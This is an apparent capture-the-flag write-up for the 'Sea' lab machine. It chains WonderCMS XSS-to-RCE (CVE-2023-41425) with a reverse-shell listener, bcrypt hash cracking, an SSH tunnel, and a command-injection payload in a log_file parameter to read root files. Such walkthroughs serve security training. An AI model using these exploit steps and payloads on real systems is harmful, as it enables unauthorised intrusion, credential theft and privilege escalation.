Sea
Nmap :p
nmap -sC -sV -T4 10.129.68.175
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Just SSH and a website, so let’s run gobuster on the site:
gobuster dir -u http://10.129.68.175 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/home (Status: 200) [Size: 3680]
/themes (Status: 301) [Size: 236] [--> http://10.129.68.175/themes/]
/data (Status: 301) [Size: 234] [--> http://10.129.68.175/data/]
/plugins (Status: 301) [Size: 237] [--> http://10.129.68.175/plugins/]
/messages (Status: 301) [Size: 238] [--> http://10.129.68.175/messages/]
/404 (Status: 200) [Size: 3371]
/themes, /plugins and /data together look like a flat file CMS. Digging into the theme folder, /themes/bike/README.md gives it away: the site is running WonderCMS.
WonderCMS 3.2.0 is vulnerable to CVE-2023-41425, which is an XSS in the login page that can be turned into authenticated RCE. The idea is we send the admin a crafted link, and when they click it while logged in, the JavaScript uses their session to install a malicious “theme” that’s really a reverse shell.
https://github.com/Diegomjx/CVE-2023-41425-WonderCMS-Authenticated-RCE
The site has a contact form at /contact.php with a website field, and someone on the box is clicking those links. So we run the exploit with the login URL and our IP, then paste the link it generates into the contact form:
python3 exploit.py http://sea.htb/loginURL 10.10.17.229 4444
nc -lvnp 4444
After a minute or so the admin “visits” our link and we get a shell as www-data.
User
WonderCMS keeps everything in flat files, including the admin password hash in /var/www/sea/data/database.js. It’s bcrypt (the backslashes in the file are just JSON escaping, so we remove them first):
echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > hash.txt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
It cracks to mychemicalromance, and that password works for the amay user over SSH. We grab the user flag.
Privesc
Looking at what’s listening locally:
amay@sea:~$ netstat -tulpn
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:60845 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
8080 only listening on localhost was interesting, so I exposed it to my kali with an SSH tunnel:
ssh -L 8080:localhost:8080 amay@sea.htb
Browsing to localhost:8080 (logging in with amay’s creds again) gives us a “System Monitor” page. The Analyze Log File feature lets us pick a log and it prints the contents back to us.

The important part is that it can read /var/log/auth.log, which normal users can’t, so this thing is running as root. Catching the request in Burp, the log file is just sent as a log_file parameter. We can change it to any path, and because the value gets dropped straight into a shell command, we can tack on our own command after a ; as well:
log_file=/root/root.txt;id #&analyze_log=

The response gives us the contents of the root flag and uid=0(root) from our injected id. From here we could swap id out for a reverse shell to get a full root shell, but we already have what we came for.
Ez gg.